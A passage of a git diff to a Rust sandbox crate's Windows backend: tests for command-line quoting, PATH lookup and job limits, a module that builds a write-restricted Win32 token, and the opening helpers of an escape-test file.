assert_eq!(line(&[r#"say "hi""#]), r#""say \"hi\"""#); + assert_eq!(line(&[r"C:\dir\"]), r"C:\dir\"); + assert_eq!(line(&[r"C:\my dir\"]), r#""C:\my dir\\""#); + assert_eq!(line(&[r#"a\"b"#]), r#""a\\\"b""#); + assert_eq!(line(&[r"a\\b c"]), r#""a\\b c""#); + assert_eq!(line(&["tab\there"]), "\"tab\there\""); + } + + #[test] + fn a_batch_file_runs_through_cmd_with_its_line_quoted_whole() { + let l = batch_command_line( + &w(r"C:\Windows\system32\cmd.exe"), + &[w(r"C:\n\npm.cmd"), w("run"), w("a b")], + ); + assert_eq!( + String::from_utf16(&l).expect("utf16"), + r#"C:\Windows\system32\cmd.exe /d /s /c "C:\n\npm.cmd run "a b"""# + ); + assert!(is_batch(r"C:\n\NPM.CMD")); + assert!(is_batch("x.bat")); + assert!(!is_batch("x.exe")); + } + + #[test] + fn programs_are_found_on_path_with_pathext_and_never_in_the_current_folder() { + let files = [ + r"C:\Windows\System32\cmd.exe", + r"C:\node\npm.cmd", + r"C:\py\python.exe", + r"C:\tools\tool", + r".\local.exe", + ]; + let exists = |p: &str| files.iter().any(|f| f.eq_ignore_ascii_case(p)); + let path = Some(r"C:\Windows\System32;C:\node\;;C:\py;C:\tools"); + let find = |p: &str| resolve_program(p, path, None, &exists); + assert_eq!(find("cmd").as_deref(), Some(r"C:\Windows\System32\cmd.exe")); + assert_eq!( + find("CMD.EXE").as_deref(), + Some(r"C:\Windows\System32\CMD.EXE") + ); + assert_eq!(find("npm").as_deref(), Some(r"C:\node\npm.cmd")); + assert_eq!(find("python").as_deref(), Some(r"C:\py\python.exe")); + assert_eq!(find("tool").as_deref(), Some(r"C:\tools\tool")); + assert_eq!(find("local"), None, "the current folder is not searched"); + assert_eq!(find(r".\local").as_deref(), Some(r".\local.exe")); + assert_eq!(find("missing"), None); + assert_eq!( + resolve_program("npm", path, Some(".EXE"), &exists), + None, + "PATHEXT decides the extensions" + ); + } + + #[test] + fn job_limits_follow_the_policy() { + let base = job_flags::KILL_ON_JOB_CLOSE | job_flags::DIE_ON_UNHANDLED_EXCEPTION; + let none = JobLimits::from_limits(&Limits::default()); + assert_eq!(none.flags, base); + let both = JobLimits::from_limits(&Limits { + memory_mb: Some(256), + cpu_secs: Some(3), + wall_secs: Some(9), + ..Limits::default() + }); + assert_eq!( + both.flags, + base | job_flags::PROCESS_MEMORY | job_flags::PROCESS_TIME + ); + assert_eq!(both.process_memory, 256 * 1024 * 1024); + assert_eq!(both.process_user_time, 30_000_000); + let huge = JobLimits::from_limits(&Limits { + cpu_secs: Some(u64::MAX), + ..Limits::default() + }); + assert_eq!(huge.process_user_time, i64::MAX); + } + + #[test] + fn statuses_say_what_windows_enforces() { + let mut fs = Fs::default(); + assert_eq!(fs_status(&fs), Status::NotRequested); + fs.mode = FsMode::WorkspaceWrite; + assert!(matches!(fs_status(&fs), Status::Enforced(s) if s.contains("write-restricted"))); + fs.deny_read.push(PathBuf::from("secret")); + assert!(matches!(fs_status(&fs), Status::NotEnforced(s) if s.contains("deny_read"))); + assert_eq!(net_status(NetMode::Allow), Status::NotRequested); + assert!(net_status(NetMode::Deny).is_gap()); + assert!(net_status(NetMode::Proxy).is_gap()); + } +} diff --git a/crates/sandbox/src/windows/token.rs b/crates/sandbox/src/windows/token.rs new file mode 100644 index 0000000..1237abd --- /dev/null +++ b/crates/sandbox/src/windows/token.rs @@ -0,0 +1,214 @@ +//! The write-restricted token, and the small Win32 helpers the rest of the +//! module shares. Ported from incode's `sandbox::windows::imp`. + +use std::os::windows::ffi::OsStrExt; + +use windows_sys::Win32::Foundation::{CloseHandle, LocalFree, HANDLE, INVALID_HANDLE_VALUE}; +use windows_sys::Win32::Security::Authorization::{ + ConvertSidToStringSidW, ConvertStringSecurityDescriptorToSecurityDescriptorW, + ConvertStringSidToSidW, +}; +use windows_sys::Win32::Security::{ + CreateRestrictedToken, GetSecurityDescriptorDacl, GetTokenInformation, SetTokenInformation, + TokenDefaultDacl, TokenLogonSid, TokenUser, ACL, DISABLE_MAX_PRIVILEGE, SID_AND_ATTRIBUTES, + TOKEN_ACCESS_MASK, TOKEN_DEFAULT_DACL, TOKEN_GROUPS, TOKEN_INFORMATION_CLASS, TOKEN_USER, + WRITE_RESTRICTED, +}; +use windows_sys::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + +/// Everyone, S-1-1-0. +const EVERYONE: &str = "S-1-1-0"; +/// `TOKEN_ALL_ACCESS`, spelled numerically (the named constant is in a +/// feature this crate does not enable). +const TOKEN_ALL: TOKEN_ACCESS_MASK = 0x000f_01ff; + +/// A wide, NUL-terminated string for a Win32 W-API. +pub(crate) fn wide(s: impl AsRef) -> Vec { + s.as_ref().encode_wide().chain(std::iter::once(0)).collect() +} + +/// A handle closed once on drop. +pub(crate) struct OwnedHandle(pub(crate) HANDLE); + +impl Drop for OwnedHandle { + fn drop(&mut self) { + if !self.0.is_null() && self.0 != INVALID_HANDLE_VALUE { + // SAFETY: owned, closed once. + unsafe { CloseHandle(self.0) }; + } + } +} + +/// A `LocalAlloc`-owned pointer (a SID, a security descriptor, an ACL) freed +/// once on drop. +pub(crate) struct LocalPtr(pub(crate) *mut core::ffi::c_void); + +impl Drop for LocalPtr { + fn drop(&mut self) { + if !self.0.is_null() { + // SAFETY: from a Local* allocator, freed once. + unsafe { LocalFree(self.0) }; + } + } +} + +/// The last Win32 error, named by the call that produced it. +pub(crate) fn last_error(call: &str) -> String { + // SAFETY: reads the calling thread's error value; no arguments. + let code = unsafe { windows_sys::Win32::Foundation::GetLastError() }; + format!("{call} failed with error {code}") +} + +/// A SID built from its string form. +pub(crate) fn sid(s: &str) -> Result { + let mut out: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: `wide(s)` is NUL-terminated; `out` receives an owned SID. + let ok = unsafe { ConvertStringSidToSidW(wide(s).as_ptr(), &mut out) }; + if ok == 0 || out.is_null() { + return Err(format!("could not build the SID {s}")); + } + Ok(LocalPtr(out)) +} + +/// A write-restricted token for one run: this process's token with every +/// privilege but `SeChangeNotify` removed, restricted to `run_sid`, +/// `Everyone` and the logon SID, so it writes only where one of them is +/// granted. Its default DACL lets the command open its own process. +pub(crate) fn restricted(run_sid: &str) -> Result { + // SAFETY: Win32 handle work; each call is checked and every handle this + // owns is closed. The SIDs and the array outlive the calls that read + // them. + unsafe { + let mut base: HANDLE = std::ptr::null_mut(); + if OpenProcessToken(GetCurrentProcess(), TOKEN_ALL, &mut base) == 0 { + return Err(last_error("OpenProcessToken")); + } + let base = OwnedHandle(base); + let private = sid(run_sid)?; + let everyone = sid(EVERYONE)?; + let logon = logon_sid(base.0)?; + let restricting = [ + SID_AND_ATTRIBUTES { + Sid: private.0, + Attributes: 0, + }, + SID_AND_ATTRIBUTES { + Sid: everyone.0, + Attributes: 0, + }, + SID_AND_ATTRIBUTES { + Sid: logon.0, + Attributes: 0, + }, + ]; + let mut token: HANDLE = std::ptr::null_mut(); + if CreateRestrictedToken( + base.0, + DISABLE_MAX_PRIVILEGE | WRITE_RESTRICTED, + 0, + std::ptr::null(), + 0, + std::ptr::null(), + restricting.len() as u32, + restricting.as_ptr(), + &mut token, + ) == 0 + { + return Err(last_error("CreateRestrictedToken")); + } + let token = OwnedHandle(token); + drop((private, everyone, logon)); + let user = token_user_sid(base.0)?; + set_default_dacl(token.0, &super::default_dacl_sddl(&user, run_sid))?; + Ok(token) + } +} + +/// Give `token` the default DACL `sddl`. +unsafe fn set_default_dacl(token: HANDLE, sddl: &str) -> Result<(), String> { + let mut sd: *mut core::ffi::c_void = std::ptr::null_mut(); + if ConvertStringSecurityDescriptorToSecurityDescriptorW( + wide(sddl).as_ptr(), + 1, + &mut sd, + std::ptr::null_mut(), + ) == 0 + || sd.is_null() + { + return Err(last_error( + "ConvertStringSecurityDescriptorToSecurityDescriptorW", + )); + } + let sd = LocalPtr(sd); + let mut present = 0; + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut defaulted = 0; + if GetSecurityDescriptorDacl(sd.0, &mut present, &mut dacl, &mut defaulted) == 0 { + return Err(last_error("GetSecurityDescriptorDacl")); + } + let info = TOKEN_DEFAULT_DACL { DefaultDacl: dacl }; + if SetTokenInformation( + token, + TokenDefaultDacl, + std::ptr::from_ref(&info).cast(), + std::mem::size_of::() as u32, + ) == 0 + { + return Err(last_error("SetTokenInformation(TokenDefaultDacl)")); + } + Ok(()) +} + +/// The user SID of `token`, as a string. +unsafe fn token_user_sid(token: HANDLE) -> Result { + let buf = token_information(token, TokenUser)?; + let user = &*buf.as_ptr().cast::(); + sid_to_string(user.User.Sid) +} + +/// The logon SID of `token`, as an owned copy. +unsafe fn logon_sid(token: HANDLE) -> Result { + let buf = token_information(token, TokenLogonSid)?; + let groups = &*buf.as_ptr().cast::(); + if groups.GroupCount == 0 { + return Err("the token has no logon SID".to_string()); + } + // Round-trip through the string form so the SID outlives `buf`. + let text = sid_to_string(groups.Groups.as_ptr().read().Sid)?; + sid(&text) +} + +/// One variable-length token information class, in a buffer aligned for the +/// structure read out of it. +unsafe fn token_information( + token: HANDLE, + class: TOKEN_INFORMATION_CLASS, +) -> Result, String> { + let mut len = 0u32; + // The first call sizes the buffer; it "fails" with ERROR_INSUFFICIENT_BUFFER. + GetTokenInformation(token, class, std::ptr::null_mut(), 0, &mut len); + if len == 0 { + return Err(last_error("GetTokenInformation(size)")); + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + if GetTokenInformation(token, class, buf.as_mut_ptr().cast(), len, &mut len) == 0 { + return Err(last_error("GetTokenInformation")); + } + Ok(buf) +} + +/// A SID as its string form. +unsafe fn sid_to_string(sid: *mut core::ffi::c_void) -> Result { + let mut out: *mut u16 = std::ptr::null_mut(); + if ConvertSidToStringSidW(sid, &mut out) == 0 || out.is_null() { + return Err(last_error("ConvertSidToStringSidW")); + } + let owned = LocalPtr(out.cast()); + let mut len = 0usize; + while *out.add(len) != 0 { + len += 1; + } + let text = String::from_utf16_lossy(std::slice::from_raw_parts(out, len)); + drop(owned); + Ok(text) +} diff --git a/crates/sandbox/tests/escape_windows.rs b/crates/sandbox/tests/escape_windows.rs new file mode 100644 index 0000000..fdf2088 --- /dev/null +++ b/crates/sandbox/tests/escape_windows.rs @@ -0,0 +1,565 @@ +//! Escape tests against the native Windows sandbox (write-restricted token, +//! ACL grant, job object): the Linux escape tests that apply on Windows, +//! through the real `sbx.exe`. +//! +//! They use only what a stock Windows (and the `windows-latest` CI runner) +//! has: `cmd.exe` and Windows PowerShell. Scripts are written to files +//! rather than passed inline, so no test depends on how `cmd` re-parses +//! quotes. Every run is native (`SBX_BACKEND=native`) unless the test is +//! about choosing the backend. + +#![cfg(windows)] + +use std::io::{BufRead, BufReader, Write}; +use std::path::{Path, PathBuf}; +use std::process::{Child, ChildStdin, ChildStdout, Command, Output, Stdio}; +use std::time::{Duration, Instant}; + +use serde_json::{json, Value}; + +const SBX: &str = env!("CARGO_BIN_EXE_sbx"); +/// Every run SID starts with this (`incord_sandbox::windows::SID_PREFIX`). +const SID_MARK: &str = "4242424242"; + +fn base(cwd: &Path) -> Command { + let mut c = Command::new(SBX); + c.current_dir(cwd) + .env("SBX_BACKEND", "native") + .env_remove("SBX_NATIVE") + .stdin(Stdio::null()); + c +} + +fn sbx(args: &[&str], cwd: &Path) -> Output { + base(cwd).args(args).output().expect("sbx runs") +} + +/// `sbx run -- cmd /d /s /c `. +fn cmd(cwd: &Path, flags: &[&str], line: &str) -> Output { + let mut args = vec!["run"]; + args.extend_from_slice(flags); + args.extend_from_slice(&["--", "cmd", "/d", "/s", "/c", line]); + sbx(&args, cwd) +} + +/// `sbx run -- powershell ... -File